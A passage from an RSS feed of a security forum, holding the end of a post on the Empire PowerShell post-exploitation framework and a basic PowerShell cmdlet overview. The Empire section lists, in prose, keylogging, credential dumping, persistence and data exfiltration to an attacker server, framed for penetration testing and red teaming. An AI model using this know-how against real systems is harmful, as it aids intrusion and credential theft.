<h3>Example Command in Empire (Post-Exploitation):</h3>
<p>To list all running processes on a compromised machine using PowerShell via Empire, you might run a command like:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process</pre>
</div>
</div>
<p>This command retrieves all processes running on the target machine, which could then be used to identify vulnerable processes or hijack running applications.</p>
<h3>Empire's Capabilities in Detail:</h3>
<ol>
<li><strong>Keylogging</strong>: Empire can execute PowerShell-based keyloggers to capture user input on the victim's system.</li>
<li><strong>Credential Dumping</strong>: By using PowerShell, Empire can access and dump credentials from a system (for example, by extracting them from Windows Credential Manager or SAM files).</li>
<li><strong>Persistence</strong>: The framework allows attackers to maintain a long-term presence on the system through scheduled tasks, services, or modifications to system files and settings.</li>
<li><strong>Data Exfiltration</strong>: Empire can be used to exfiltrate sensitive data from the target machine to an attacker-controlled server.</li>
</ol>
<h3>Use Cases:</h3>
<ol>
<li><strong>Penetration Testing</strong>: Security professionals use Empire to simulate real-world attack scenarios and test how well a system or network can withstand PowerShell-based exploits.</li>
<li><strong>Red Teaming</strong>: In red team engagements, Empire is used to simulate advanced adversary behavior, testing the effectiveness of defenses against PowerShell attacks.</li>
<li><strong>Malware Analysis</strong>: Security researchers may use Empire to understand how attackers use PowerShell in real-world attacks and develop strategies to defend against them.</li>
</ol>
<h3>Caution:</h3>
<p>Although Empire is a powerful tool for penetration testers and security professionals, it is also widely used by malicious actors. Many security tools and antivirus software are specifically designed to detect Empire's PowerShell-based attacks. It's crucial to understand the ethical and legal implications of using such tools.</p>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/empire-powershell/</guid>
                    </item>
				                    <item>
                        <title>PowerShell</title>
                        <link>https://www.hacktheforum.com/windows-os/powershell/</link>
                        <pubDate>Thu, 12 Dec 2024 18:29:16 +0000</pubDate>
                        <description><![CDATA[PowerShell is a powerful, task automation, and configuration management framework developed by Microsoft. It consists of a command-line shell and scripting language designed for system admin...]]></description>
                        <content:encoded><![CDATA[<p>PowerShell is a powerful, task automation, and configuration management framework developed by Microsoft. It consists of a command-line shell and scripting language designed for system administrators and power users to automate and manage system tasks and configurations. Below is an overview of PowerShell and its core features:</p>
<h3>Key Features:</h3>
<ol>
<li><strong>Command-Line Shell</strong>: PowerShell provides a command-line interface (CLI) for running commands interactively to manage and automate administrative tasks.</li>
<li><strong>Scripting Language</strong>: PowerShell scripts can automate repetitive tasks, interact with the Windows operating system, and work with other software and services.</li>
<li><strong>Cmdlets</strong>: PowerShell includes small, reusable commands called cmdlets (pronounced "command-lets") that perform a specific task, like getting system information or managing files and services. Examples include <code>Get-Process</code>, <code>Get-Service</code>, <code>Set-Item</code>, etc.</li>
<li><strong>Pipelines</strong>: PowerShell supports piping, which allows you to pass the output of one command as input to another command. This enables powerful command chaining and efficient workflows.</li>
<li><strong>Object-Oriented</strong>: Unlike other shells, which work with text-based output, PowerShell works with .NET objects, making it easier to manipulate and interact with data.</li>
<li><strong>Remote Management</strong>: PowerShell allows remote execution of scripts and commands on remote computers, making it useful for managing multiple machines in enterprise environments.</li>
<li><strong>Cross-Platform</strong>: With PowerShell Core (PowerShell 7+), it has become cross-platform, meaning it can run on Windows, macOS, and Linux.</li>
</ol>
<h3>Example Usage:</h3>
<ol>
<li>
<p><strong>Get-Process</strong>: Lists all running processes on the local machine.</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Process</pre>
</div>
</div>
</li>
<li>
<p><strong>Set-Item</strong>: Changes the value of a file or registry entry.</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Set-Item -Path "C:\Path\To\File.txt" -Value "New content"
</pre>
</div>
</div>
</li>
<li>
<p><strong>Pipelines</strong>: You can pipe the output of one cmdlet to another.</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Get-Service | Where-Object { $_.Status -eq 'Running' }
</pre>
</div>
</div>
<p>This command lists only the services that are running.</p>
</li>
<li>
<p><strong>Script Execution</strong>: PowerShell can execute scripts with the <code>.ps1</code> extension, which can contain multiple cmdlets and logic for automation tasks. Example of a simple script:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">$name = "World"
Write-Host "Hello, $name!"
</pre>
</div>
</div>
</li>
<li>
<p><strong>Remote Execution</strong>: Run a command on a remote computer.</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Invoke-Command -ComputerName RemotePC -ScriptBlock { Get-Process }
</pre>
</div>
</div>
</li>
</ol>
<h3>PowerShell Versions:</h3>
<ul>
<li><strong>Windows PowerShell</strong>: The original version, based on .NET Framework, available up to version 5.1.</li>
<li><strong>PowerShell Core</strong>: Cross-platform, open-source version of PowerShell based on .NET Core, introduced with version 6.x and continued in version 7.x.</li>
</ul>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/powershell/</guid>
                    </item>
							        </channel>
        </rss>
		